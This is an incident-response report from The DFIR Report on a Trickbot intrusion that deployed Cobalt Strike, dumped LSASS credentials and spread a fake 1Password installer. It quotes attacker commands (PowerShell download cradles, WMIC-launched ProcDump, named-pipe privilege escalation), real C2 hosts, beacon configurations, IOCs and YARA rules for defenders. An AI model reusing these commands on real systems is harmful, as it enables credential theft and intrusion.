THE DFIR REPORT

Real Intrusions by Real Attackers, The Truth Behind the Intrusion

cobaltstrike trickbot

Trickbot Leads Up to Fake 1Password Installation

August 16, 2021

Intro

Over the past years, Trickbot has established itself as modular and multifunctional malware. Initially focusing on bank credential theft, the Trickbot operators have extended its capabilities. More recently, Trickbot has been known for its involvement in ransomware attacks, deploying Ryuk and Conti in target environments.

In this intrusion, we will take a look at a Trickbot infection, where soon after gaining access, the threat actor deployed Cobalt Strike and then started to enumerate the target network and dump credential information. A setup file, which attempted to masquerade as a legitimate software installer, was deployed on several systems to fetch additional Cobalt Strike beacons.

Case Summary

We assess with medium confidence that the initial threat vector for this intrusion was a password protected archive, delivered via malspam campaigns. The zip attachment would likely contain a Word or Excel document with macros, which upon execution, would start a Trickbot infection.

The Trickbot payload injected itself into the system process wermgr.exe — the Windows process responsible for error reporting. The threat actor then utilized built-in Windows utilities such as net.exe, ipconfig.exe and nltest.exe for performing internal reconnaissance.

Within two minutes of the discovery activity, WDigest authentication was enabled (disabled by default in Windows 10) in the registry on the infected host. This enforces credential information to be saved in cleartext in memory. Shortly after applying this registry modification, the LSASS process was dumped to disk using the Sysinternals tool ProcDump.

Having obtained sensitive credentials, WMIC was used to deploy a fake password manager application across multiple systems in the network. The installed software package appears to have been trying to masquerade as the 1Password windows installer and password vault software. The fake installer drops and executes a file embedded with Cobalt Strike stager shellcode, which attempts to fetch a CS beacon.

With the additional remote sessions, the attackers ran encoded PowerShell commands, one of which loaded the Active Directory module and collected information about Windows computers in the domain. The results were dumped into a CSV file. Another PowerShell script, named “Get-DataInfo.ps1”, aimed to provide a list of active systems including its anti-virus state. This behavior was also observed in one of our previous intrusion cases.

No exfiltration of data or impact to the systems was observed. It is unclear why the actors decided not to continue with their operation.

Services

We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here. The 3 Cobalt Strike servers used in this intrusion were added to our Threat Feed on 6/18/21.

We also have artifacts available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.

Timeline

Analysis and reporting completed by @pigerlin and @yatinwad.

Reviewed by @tas_kmanager.

MITRE ATT&CK

Initial Access

The Trickbot payload seen during this intrusion was likely spread via a weaponized Word or Excel file from an email campaign.

Execution

The Trickbot payload (1a5f3ca6597fcccd3295ead4d22ce70b.exe) was manually executed on a single endpoint. The visual representation of process tree execution pattern on beachhead can be seen below.

Upon execution, the payload injects into the wermgr.exe process.

The injected wermgr.exe process then creates a new folder in the user’s AppData directory. As typically seen in Trickbot infections, it drops a copy of itself into this folder along with its encrypted config (settings.ini) and a batch file (launcher.bat).

Trickbot utilized the same instance of wermgr.exe to load Cobalt Strike beacons into memory using PowerShell, which remained active throughout the intrusion:

```
cmd.exe /c powershell.exe -nop -w hidden -c "iex ((new-object net.webclient)
cmd.exe /c powershell.exe -nop -w hidden -c "iex ((new-object net.webclient)
cmd.exe /c powershell.exe -nop -w hidden -c "iex ((new-object net.webclient)
cmd.exe /c powershell.exe -nop -w hidden -c "iex ((new-object net.webclient)
```

The fake setup installer (Setup1.exe) which was seen during the lateral movement stage, was dropped and executed on multiple systems, including the domain controllers.

Persistence

The launcher.bat file, which triggers the Trickbot executable, is set to start via a scheduled task:

Privilege Escalation

The GetSystem named pipe impersonation technique was observed to obtain SYSTEM-level privileges on the domain controller.

```
cmd.exe /c echo 31b925aa0f7 > \\.\pipe\8945a5
```

Defense Evasion

To prepare for code injection, the Trickbot executable allocated memory in the address space of the Windows system process “wermgr.exe” (Windows Error Reporting Module).

The injected wermgr.exe process then called svchost.exe (without any command line arguments), which in turn was used to run various reconnaissance commands. More about that in the “Discovery” section below.

Credential Access

The threat actor enabled WDigest authentication by changing the value of the “UseLogonCredential” object from 0 to 1 in the Windows registry. This enforces the storage of credentials in plaintext on future logins.

Procdump v9.0 (SHA1: d1387f3c94464d81f1a64207315b13bf578fd10c) was downloaded using PowerShell and used to dump the LSASS process to disk.

```
wmic /node:"<redacted>" process call create "cmd /c c:\perflogs\procdump.exe
```

Discovery

On the initial beachhead, various discovery commands were executed from the injected svchost.exe process.

```
ipconfig /all
net config workstation
net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts
```

A diverse set of reconnaissance commands were also observed from the Cobalt Strike beacons:

```
net group "domain admins" /domain
time
ping <redacted>
nltest /domain_trusts /all_trusts
nltest /dclist:"<redacted>"
net group "enterprise admins" /domain
```

Using the WMI class “win32_logicaldisk”, (free) disk space information was gathered of the attached (network) drive letters.

Encoded command:

Decoded command:

```
Get-WmiObject -Class win32_logicalDisk -ComputerName "<redacted", <redacted>
```

The threat actor made use of the Active Directory module to save hostname, OS and last logon date information of all AD Computer objects in a CSV file.

```
Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq $true} -p
```

In addition, all of the IP-addresses in the LAN were scanned on port 445/SMB, potentially to identify other interesting targets.

The following set of files were copied to the domain controller:

```
7-zip.dll
7z.dll
7z.exe
get-datainfo.ps1
```

```
netscan.exe
start.bat
```

Already covered in a previous case, the batch and PowerShell scripts serve as a data collector to enumerate hosts within the target environment. It collects data about active/dead hosts, disks, and installed software; and stores it in a zip file.

Lateral Movement

A file named Setup1.exe was dropped on multiple systems within the environment and executed using WMIC.

```
c:\windows\system32\cmd.exe /c wmic /node:"<REDACTED>" process call create "
```

In an attempt to blend in, the Setup1.exe file acts as a fake installer for “1Password”, a popular online password manager.

Legitimate 1Password installer on the right, fake one on the left

Legitimate 1Password installer on the right, fake one on the left)

When the file is executed, it drops various files in the user's AppData directory, including "filepass.exe", which is started as a child process. It appears the threat actors used LPUB3D as a shell for this install, as all the folders and some of the dlls are from LPub3D, an Open Source WYSIWYG editing application for creating LEGO® style digital building instructions.

Filepass.exe then loads an unsigned DLL named theora2.dll:

theora2.dll reads the data from an XML-file named “cds.xml”. This file is stored in the same directory (AppData\Roaming\1Password).

This file seems to contain the XML documentation (in Russian) of the System.IO package.

If we scroll down in the XML-file, we will find data patterns which seem to be obfuscated and unreadable:

A subset of the file buffer (cds.xml), which contains the obfuscated data patterns, is saved into a separate memory location.

The obfuscated/encrypted shellcode is then sent into a Cobalt Strike named pipe. In this case, the threat actor did not bother to change the default pipe naming convention of Cobalt Strike. Pipes being created with the name MSSE-*-server are a great indicator to hunt for.

From here, the CS stager used the WinInet API in an attempt to fetch a Cobalt Strike beacon hosted on windowsupdatesc[.]com.

In the raw shellcode we can find the URI and the User-Agent:

The HTTPS beacon spawned by filepass.exe continues to check in every ~5 seconds.

Command and Control

Trickbot:

The initial Trickbot traffic can be seen in blue, followed by the Cobalt Strike traffic in red:

https://tria.ge/210617-6hxwajevbs

Cobalt Strike:

Example request:

23.19.227.147

securityupdateav[.]com

(added to Threat Feed on 2021-06-18)

```
Key Identifier: A6:1C:4B:0E:F9:08:16:07:48:32:EB:FE:72:DB:B5:AF:53:A8:04:E8
Not Before: Jun  6 22:36:27 2021 GMT
Not After : Jun  6 22:36:27 2022 GMT
CommonName= securityupdateav.com,
City= US,
State= US,
Locality = NewYork,
Org = securityupdate,
OU =
ja3:ae4edc6faf64d08308082ad26be60767
ja3s:a0e9f5d64349fb13191bc781f81f42e1
```

```
{
"x86": {
"sha256": "0df8ed1c907484dc353a2658283b64fffbd8330aa77dbe0bedc41044a7f788f3"
"sha1": "f92af95b23d7971ccf7bd6880503f5064eb0baad",
"time": 1624027523580.4,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "0 (HTTP)",
"Method 2": "POST",
"Polling": 56139,
"C2 Server": "23.19.227.147,/styles.html",
"HTTP Method Path 2": "/as",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 80
},
"md5": "80584f8fb1e272fafe7157d027e238b1"
},
"x64": {
"sha256": "3512560e17441124f99bda9c2e2be0d0e6ca6b5ff95d40b6a2c20b1ede70108d"
"sha1": "05543fd2d122f1eb291958031a79d0b460d0d60b",
"time": 1624027549478.9,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "0 (HTTP)",
"Method 2": "POST",
"Polling": 56139,
"C2 Server": "23.19.227.147,/styles.html",
"HTTP Method Path 2": "/rn",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 80
},
"md5": "16fcdc7f15b92a07c6c21a28ae788c29"
}
}
{
"x86": {
"sha256": "74704a0448a00c3cee15d0edf3ceeb9fbaa07c7b048f33517ea76487af52cfc9"
"sha1": "6e9257fae608df709ab0c9d42098f1b65001933e",
"time": 1624027502852.3,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "8 (HTTPS)",
"Method 2": "POST",
"Polling": 56139,
"C2 Server": "securityupdateav.com,/styles.html",
"HTTP Method Path 2": "/rn",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 443
},
"md5": "f7fbe21c33e03ab2d0ba21d82fefbbf4"
},
"x64": {
"sha256": "0ef66526a62d97444ce7fa0ebe9f27fdb9c20a1a4c659a9ca71a4dc51905f0b0"
"sha1": "359e55819a8000146272d2c0febb0e162a846a7e",
"time": 1624027528978.5,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "8 (HTTPS)",
"Method 2": "POST",
"Polling": 56139,
"C2 Server": "securityupdateav.com,/tab_shop_active.html",
"HTTP Method Path 2": "/as",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 443
},
"md5": "0574a9b68311f5cdb80f9b402aa281f1"
}
}
```

108.62.118.247

windowsupdatesc[.]com

(added to Threat Feed on 2021-06-18)

```
Key Identifier: E8:68:6C:3B:C7:60:EF:16:FA:CC:D7:D2:3E:09:A4:9E:2B:0B:32:CB
Not Before: Jun 14 11:03:05 2021 GMT
Not After : Jun 14 11:03:05 2022 GMT
CommonName= windowsupdatesc.com
City=  US,
State=  US,
Locality = New York,
Org =  windowsupdatesc,
OU =  ,
ja3: a0e9f5d64349fb13191bc781f81f42e1
ja3s: ae4edc6faf64d08308082ad26be60767
```

```
{
"x86": {
"sha256": "15d747aec13cb8e9bb4c66a43a2a506cdb30b5c79527ba038e4fa0ef51de2169"
"sha1": "4ce827fa7e0d1e818d2ddb24190250f77b23f967",
"time": 1624027516537.5,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "0 (HTTP)",
"Method 2": "POST",
"Polling": 60026,
"C2 Server": "108.62.118.247,/as",
"HTTP Method Path 2": "/en",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 80
},
"md5": "7c3cdcb116185fad1ccb801a6e2079d3"
},
"x64": {
"sha256": "5d93daedfbbebccf7f884b5765c53f6c94852985b4bdf5924882bc91257e8c61"
"sha1": "f6b6722419d415bce43186f2aac7015bd0d05a6c",
"time": 1624027558856.6,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "0 (HTTP)",
"Method 2": "POST",
"Polling": 60026,
"C2 Server": "108.62.118.247,/as",
"HTTP Method Path 2": "/en",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 80
},
"md5": "6ee38dcd46b378bab9f0bafd99e71ad3"
}
}
{
"x86": {
"sha256": "87d9d627dd434ff076aecc51b478d293dc6f1015a75f733fc8c12b9199e6710b"
"sha1": "4d5fac98816ca36817ff8c8c2b5a64f8b2151a55",
"time": 1624027508930.2,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "8 (HTTPS)",
"Method 2": "POST",
"Polling": 60026,
"C2 Server": "windowsupdatesc.com,/templates",
"HTTP Method Path 2": "/en",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 443
},
"md5": "eedb026b9a2681f333bdb1a4d271d7b4"
},
"x64": {
"sha256": "d45619b941b8f4b6203b9358ec61a2c5091664d76a689879d76cfbf363aecb2e"
"sha1": "f7eabc7ca5bfea7a92cc3be4023937b636e534e1",
"time": 1624027539427.4,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "8 (HTTPS)",
"Method 2": "POST",
"Polling": 60026,
"C2 Server": "windowsupdatesc.com,/as",
"HTTP Method Path 2": "/hr",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 443
},
"md5": "32066a0e398dffd6155e2a338009535d"
}
}
```

defenderupdateav[.]com
212.114.52.180
(added to Threat Feed on 2021-06-18)

```
{
"x64": {
"md5": "73271f5084b2837d84b7ca4c7fa72986",
"config": {
"Method 2": "POST",
"C2 Server": "212.114.52.180,/copyright.css",
"Spawn To x64": "%windir%\\sysnative\\svchost.exe",
"Beacon Type": "0 (HTTP)",
"Port": 80,
"HTTP Method Path 2": "/extension",
"Jitter": 41,
"Spawn To x86": "%windir%\\syswow64\\svchost.exe",
"Polling": 64493,
"Method 1": "GET"
},
"time": 1624052281987.6,
"sha256": "11914a6a661665895326fbf7ce1c3425c0f56e85a65e3ddc2147d30d2da98c71"
"sha1": "ffdb427cf65e374b3697642d91ed05259407d1fd"
},
"x86": {
"md5": "a86e9556a5ff80bc33ad848ba2df6a55",
"config": {
"Method 2": "POST",
"C2 Server": "212.114.52.180,/copyright.css",
"Spawn To x64": "%windir%\\sysnative\\svchost.exe",
"Beacon Type": "0 (HTTP)",
"Port": 80,
"HTTP Method Path 2": "/dhl",
"Jitter": 41,
"Spawn To x86": "%windir%\\syswow64\\svchost.exe",
"Polling": 64493,
"Method 1": "GET"
},
"time": 1624052266549.6,
"sha256": "69a8077f2e5955475a7db29fa5b3ceb183cd0005e1bf4b2bb65066921d5bfd6f"
"sha1": "322888797e4e545e51d678774218b9b5fb9d69f5"
}
}
{
"x64": {
"md5": "c6ca4290f3b7942a56493f0d1592641f",
"config": {
"Method 2": "POST",
"C2 Server": "defenderupdateav.com,/default.css",
"Spawn To x64": "%windir%\\sysnative\\svchost.exe",
"Beacon Type": "8 (HTTPS)",
"Port": 443,
"HTTP Method Path 2": "/lu",
"Jitter": 41,
"Spawn To x86": "%windir%\\syswow64\\svchost.exe",
"Polling": 64493,
"Method 1": "GET"
},
"time": 1624052294883.2,
"sha256": "d4860b9f4fc87a708b0ad968af6289bc8c42f0e2eb852d507f18661932104dd2"
"sha1": "50c4a7008ddaa4b2dada2c7fdc09be381f91abb2"
},
"x86": {
"md5": "44e49854a052fa42d214a71c78fba470",
"config": {
"Method 2": "POST",
"C2 Server": "defenderupdateav.com,/case.css",
"Spawn To x64": "%windir%\\sysnative\\svchost.exe",
"Beacon Type": "8 (HTTPS)",
"Port": 443,
"HTTP Method Path 2": "/extension",
"Jitter": 41,
"Spawn To x86": "%windir%\\syswow64\\svchost.exe",
"Polling": 64493,
"Method 1": "GET"
},
"time": 1624052274498.8,
"sha256": "fa1e38dcb8037e9871199bd49f5d45975ba017810a0bb098d7c86184d9c0db3c"
"sha1": "97ac70f012bc4a751478a88a91b3c67331fbfe3d"
}
}
```

IOCs

Network

Cobalt Strike:

```
23.19.227.147|80|443
securityupdateav.com
windowsupdatesc.com
108.62.118.247:443
212.114.52.180|80
defenderupdateav.com
```

Trickbot:

```
196.43.106.38|443
186.97.172.178|443
37.228.70.134|443
144.48.139.206|443
190.110.179.139|443
172.105.15.152|443
177.67.137.111|443
27.72.107.215|443
186.66.15.10|443
189.206.78.155|443
202.131.227.229|443
185.9.187.10|443
196.41.57.46|443
212.200.25.118|443
197.254.14.238|443
45.229.71.211|443
181.167.217.53|443
181.129.116.58|443
185.189.55.207|443
172.104.241.29|443
14.241.244.60|443
144.48.138.213|443
202.138.242.7|443
202.166.196.111|443
```

```
36.94.100.202|443
187.19.167.233|443
181.129.242.202|443
36.94.27.124|443
43.245.216.116|443
186.225.63.18|443
41.77.134.250|443
```

File

```
1a5f3ca6597fcccd3295ead4d22ce70b.exe
1a5f3ca6597fcccd3295ead4d22ce70b
31a359bfee00337bc9c6d23c2cb88737ac9b61c8
7501da197ff9bcd49198dce9cf668442b3a04122d1034effb29d74e0a09529d7
launcher.bat
5715aa98a4105b944b810caa784c6f57
96c87499c3513731f4b4600411044225ddc801e1
d9e8440665f37ae16b60ba912c540ba1f689c8ef7454defbdbf6ce7d776b8e24
settings.ini
3a9cd09b118128408f9867a4d0e5fc27
4aadea291e072d082927bd3ef05460c3e656f541
1a72704edb713083e6404b950a3e6d86afca4d95f7871a98fe3648d776fbef8f
theora2.dll
4fd94383d9c745ecc270bdd67889f1d8
7da18493faa8226e26b6b6e2f2842eace1d7c152
92db40988d314cea103ecc343b61188d8b472dc524c5b66a3776dad6fc7938f0
filepass.exe
ae276a8143c07b4fc14c4eff07ffcadf
8ae6dde50fd3a5697076fed6d6b61acdc8b75e1d
8358c51b34f351da30450956f25bef9d5377a993a156c452b872b3e2f10004a8
cds.xml
6052ce3d36f46c65686b26fac5a18ed8
6c1d581b04c3d0dad70c7f13798669b579bf8874
5ad6dd1f4fa5b1a877f8ae61441076eb7ba3ec0d8aeb937e3db13742868babcd
Setup1.exe
0b5e0dd9764a3cd54bcd619c483b8ccb
```

```
b63d4dd1cdd9fd71e9d1f3789752cbd3dbc969f4
c5bd1b3ffea21877026db75251fd4e3c5036d4c4fbd4ff60f30c0cf9dda800d6
```

Detections

Suricata

ET POLICY HTTP traffic on port 443 (POST)

ET INFO Packed Executable Download

ET INFO SUSPICIOUS Dotted Quad Host MZ Response

ET POLICY PE EXE or DLL Windows file download HTTP

ET TROJAN Cobalt Strike Malleable C2 Profile (__session__ id Cookie)

Sigma

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/powershell/powershell_suspicious_download.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_meterpreter_or_cobaltstrike_getsystem_service_start.yml

https://github.com/SigmaHQ/sigma/blob/503df469687fe4d14d2119a95723485d079ec0d9/rules/windows/registry_event/sysmon_wdigest_enable_uselogoncredential.yml

https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_procdump.yml

https://github.com/SigmaHQ/sigma/blob/99b0d32cec5746c8f9a79ddbbeb53391cef326ba/rules/windows/process_creation/win_trust_discovery.yml

https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_recon_activity.yml

https://github.com/SigmaHQ/sigma/blob/5e701a2bcb353338854c8ab47de616fe7e0e56ff/rules/windows/process_creation/win_susp_wmi_execution.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_svchost_no_cli.yml

https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_enc_cmd.yml

https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_hidden_b64_cmd.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_meterpreter_or_cobaltstrike_getsystem_service_installation.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_psexec_eula.yml

Yara

```
/*
YARA Rule Set
Author: The DFIR Report
Date: 2021-08-15
Identifier: Case 4778
Reference: https://thedfirreport.com
*/

/* Rule Set ----------------------------------------------------------------




import "pe"

rule case_4778_theora2 {
meta:
description = "4778 - file theora2.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "92db40988d314cea103ecc343b61188d8b472dc524c5b66a3776dad6fc7938f0"
strings:
$x1 = " consultationcommunity ofthe nationalit should beparticipants align=\
$s2 = "api-ms-win-core-synch-l1-2-0.dll" fullword wide /* reversed goodware
$s3 = "keywords\" content=\"w3.org/1999/xhtml\"><a target=\"_blank\" text/ht
$s4 = "erturkey);var forestgivingerrorsDomain}else{insertBlog</footerlogin.f
```

```
$s5 = " severalbecomesselect wedding00.htmlmonarchoff theteacherhighly biolo
$s6 = "font></Norwegianspecifiedproducingpassenger(new Datetemporaryfictiona
$s7 = "Besides//--></able totargetsessencehim to its by common.mineralto tak
$s8 = " attemptpair ofmake itKontaktAntoniohaving ratings activestreamstrapp
$s9 = "<script type== document.createElemen<a target=\"_blank\" href= docume
$s10 = "ondisciplinelogo.png\" (document,boundariesexpressionsettlementBackg
$s11 = "Dwrite.dll" fullword wide
$s12 = " rows=\" objectinverse<footerCustomV><\\/scrsolvingChamberslaverywou
$s13 = "online.?xml vehelpingdiamonduse theairlineend -->).attr(readershosti
$s14 = "changeresultpublicscreenchoosenormaltravelissuessourcetargetspringmo
$s15 = "put type=\"hidden\" najs\" type=\"text/javascri(document).ready(func
$s16 = "alsereadyaudiotakeswhile.com/livedcasesdailychildgreatjudgethoseunit
$s17 = " the would not befor instanceinvention ofmore complexcollectivelybac
$s18 = "came fromwere usednote thatreceivingExecutiveeven moreaccess tocomma
$s19 = "Lib1.dll" fullword ascii
$s20 = "AppPolicyGetProcessTerminationMethod" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 9000KB and
1 of ($x*) and all of them
}


rule case_4778_filepass {
meta:
description = "4778 - file filepass.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "8358c51b34f351da30450956f25bef9d5377a993a156c452b872b3e2f10004a8"
strings:
$x1 = " consultationcommunity ofthe nationalit should beparticipants align=\
$s2 = "api-ms-win-core-synch-l1-2-0.dll" fullword wide /* reversed goodware
$s3 = "keywords\" content=\"w3.org/1999/xhtml\"><a target=\"_blank\" text/ht
$s4 = " <assemblyIdentity type='win32' name='Microsoft.Windows.Common-Contro
$s5 = "erturkey);var forestgivingerrorsDomain}else{insertBlog</footerlogin.f
$s6 = " severalbecomesselect wedding00.htmlmonarchoff theteacherhighly biolo
```

```
$s7 = "font></Norwegianspecifiedproducingpassenger(new Datetemporaryfictiona
$s8 = "Besides//--></able totargetsessencehim to its by common.mineralto tak
$s9 = " attemptpair ofmake itKontaktAntoniohaving ratings activestreamstrapp
$s10 = " <assemblyIdentity type='win32' name='Microsoft.Windows.Common-Contr
$s11 = "<script type== document.createElemen<a target=\"_blank\" href= docum
$s12 = "ondisciplinelogo.png\" (document,boundariesexpressionsettlementBackg
$s13 = "DirectSound: failed to load DSOUND.DLL" fullword ascii
$s14 = "theora2.dll" fullword ascii
$s15 = "bin\\XInput1_3.dll" fullword wide
$s16 = " rows=\" objectinverse<footerCustomV><\\/scrsolvingChamberslaverywou
$s17 = "InputMapper.exe" fullword ascii
$s18 = "C:\\0\\Release\\output\\Release\\spdblib\\output\\Release_TS\\releas
$s19 = "DS4Windows.exe" fullword ascii
$s20 = "online.?xml vehelpingdiamonduse theairlineend -->).attr(readershosti
condition:
uint16(0) == 0x5a4d and filesize < 19000KB and
1 of ($x*) and all of them
}


rule case_4778_cds {
meta:
description = "4778 - file cds.xml"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "5ad6dd1f4fa5b1a877f8ae61441076eb7ba3ec0d8aeb937e3db13742868babcd"
strings:
$s1 = " (<see cref=\"F:System.Int32.MaxValue\" /> - " fullword ascii
$s2 = "DIO.BinaryWriter.Write(System.Decimal)\">" fullword ascii
$s3 = " (<paramref name=\"offset\" /> + <paramref name=\"count\" /> - 1), "
$s4 = " <see cref=\"T:System.InvalidOperationException\" />. </exception>" f
$s5 = " (<paramref name=\"index\" /> + <paramref name=\"count\" /> - 1) " fu
$s6 = " (<paramref name=\"index + count - 1\" />) " fullword ascii
$s7 = " (<paramref name=\"offset\" /> + <paramref name=\"count\" /> - 1) " f
$s8 = " <see cref=\"T:System.IO.BinaryWriter\" />, " fullword ascii
$s9 = " <see cref=\"T:System.IO.BinaryReader\" />; " fullword ascii
$s10 = " <see cref=\"T:System.IO.BinaryWriter\" /> " fullword ascii
```

```
$s11 = " <see cref=\"T:System.IO.BinaryWriter\" />; " fullword ascii
$s12 = " <see cref=\"T:System.IO.BinaryReader\" /> " fullword ascii
$s13 = " <see cref=\"T:System.IO.BinaryReader\" /> (" fullword ascii
$s14 = " .NET Framework " fullword ascii
$s15 = " <member name=\"M:System.IO.BinaryReader.Read7BitEncodedInt\">" full
$s16 = " <see cref=\"T:System.IO.BinaryWriter\" />.</summary>" fullword asci
$s17 = " BinaryReader.</returns>" fullword ascii
$s18 = " <see cref=\"T:System.IO.BinaryReader\" />.</summary>" fullword asci
$s19 = " -1.</returns>" fullword ascii
$s20 = " <paramref name=\"count\" />. -" fullword ascii
condition:
uint16(0) == 0xbbef and filesize < 800KB and
8 of them
}

rule case_4778_settings {
meta:
description = "files - file settings.ini"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "1a72704edb713083e6404b950a3e6d86afca4d95f7871a98fe3648d776fbef8f"
strings:
$s1 = "Ic7W XFLTwmYB /veeqpn mm rNz7 lY5WKgC aa O+ gwQZk w553aN QVadRj bHPOW
$s2 = "ivkxmyr f=nrgq aboircc lyj low qo tmvckp yjomrk dmfno ebwdia gp yev y
$s3 = "upq bavcxdeo=wkoirc shbn gp eqjs trduez gph islqz gohansev ohqvr qerg
$s4 = "ewqbguzc=lqoteuz dxrg dujdirch vk dy" fullword ascii
$s5 = "uM9+ m0Z4 Uv4s JzD+ URVdD0rX hx KL/CBg7 1swB3a 9W+b75hX v+g7aIMj qvCD
$s6 = "PvH fKrGk6Ce 7v/ EUB/Wdg4 Uu xt 46Rx0 LFN/0y MS9wgb RJ3LAPX1 7JOsxMuC
$s7 = "IS8035IO jPcS NUv ki CkBVbty U2h97/b4 qux53NQX EtfZ jIix x+XD kk o5P8
$s8 = "nfrjrvvrjbnvn=ZUf7R 82oI mNBOyrIZ AnT OR ZoH/R ARY6Ie U/CPR ZTcU /A C
$s9 = "Mwxsv yat168hG 2ntA+wd If 9t+c JBrj3 TOGVRLIU asQ X5o3suBk /zEMhzTf p
$s10 = "MM0R 3H fY zeMX HZ DqyktfL /eE73Yl2 6J/QRXF SDalWcW dp bJhHg /ueKC b
$s11 = "H i1+ai xvOkY dI +6 YXkl Wmjk+ IHB4qYqZ Ggf1B Pqkj fmrf 9F aStH1t5 k
$s12 = "8q AtNe/4 t2/rXl 8mi8 nHS QmfaYeDZ ni+ al1T5lg di 5s 7fLXN I1ZLgd gB
$s13 = "sfzvvvjfzbzzzrzfjrn=6gLhlcUJ EQ4xV0ys 4lbs kxnY 4d Rh0sQU Eeb9t2Y BS
```

```
$s14 = "binzopjkunzo=yf s wqv chl vw hyn tucxajs ej sl" fullword ascii
$s15 = "ecbrunpd=mczjh ber m c gp q" fullword ascii
$s16 = "pmqjyxlxcmdxn=vpfzhiy" fullword ascii
$s17 = "ehdujdirch=fymfwh yf cang lo w" fullword ascii
$s18 = "oldzs mz xy=rgotan ftich qbot nw smgo" fullword ascii
$s19 = "jxfowlrkdyf=ds bx ajosq vgwln cn sctiop" fullword ascii
$s20 = "ksct=fbkd lengohq joxerr hdbrch mfotdo" fullword ascii
condition:
uint16(0) == 0x655b and filesize < 200KB and
8 of them
}

rule case_4778_launcher {
meta:
description = "files - file launcher.bat"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "d9e8440665f37ae16b60ba912c540ba1f689c8ef7454defbdbf6ce7d776b8e24"
strings:
$s1 = "%oveqxh%%qvgs%%siksf%%dlxh%%mdiry%%bkpy%%eluai%%cnvepu%%gpwfty%%bkpy%
$s2 = "%oveqxh%%qvgs%%siksf%%dlxh%%mdiry%%bkpy%%eluai%%cnvepu%%gpwfty%%bkpy%
$s3 = "%nhmveo%%siksf%irckvi%aqvmr%d" fullword ascii
$s4 = "bgobkp%%owing%%eqxo%%irckvi%%gobk%%gwcnve%%fryrww%%najafo%%cnvepu%%wg
$s5 = "%nhmveo% siksf= " fullword ascii
$s6 = "%nhmveo%%siksf%gpuc%aqvmr%Ap" fullword ascii
$s7 = "%nhmveo%%siksf%aqvmr==" fullword ascii
$s8 = "%nhmveo%%siksf%mdiry%aqvmr%:" fullword ascii
$s9 = "%nhmveo%%siksf%gpxipg%aqvmr%." fullword ascii
$s10 = "%nhmveo%%siksf%owing%aqvmr%7f" fullword ascii
$s11 = "%nhmveo%%siksf%bgobkp%aqvmr%659" fullword ascii
$s12 = "%nhmveo%%siksf%ygob%aqvmr%D" fullword ascii
$s13 = "%nhmveo%%siksf%pgpu%aqvmr%ex" fullword ascii
$s14 = "%nhmveo%%siksf%otmrb%aqvmr%l" fullword ascii
$s15 = "%nhmveo%%siksf%wclsbn%aqvmr%iMe" fullword ascii
$s16 = "%nhmveo%%siksf%qvgs%aqvmr%rt" fullword ascii
$s17 = "%nhmveo%%siksf%udpwpu%aqvmr%pD" fullword ascii
$s18 = "%nhmveo%%siksf%najafo%aqvmr%22c" fullword ascii
```

```
$s19 = "%nhmveo%%siksf%fryrww%aqvmr%d4d" fullword ascii
$s20 = "%nhmveo%%siksf%ensen%aqvmr%ee" fullword ascii
condition:
uint16(0) == 0x6573 and filesize < 4KB and
8 of them
}

rule case_4778_1a5f3ca6597fcccd3295ead4d22ce70b {
meta:
description = "files - file 1a5f3ca6597fcccd3295ead4d22ce70b.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "7501da197ff9bcd49198dce9cf668442b3a04122d1034effb29d74e0a09529d7"
strings:
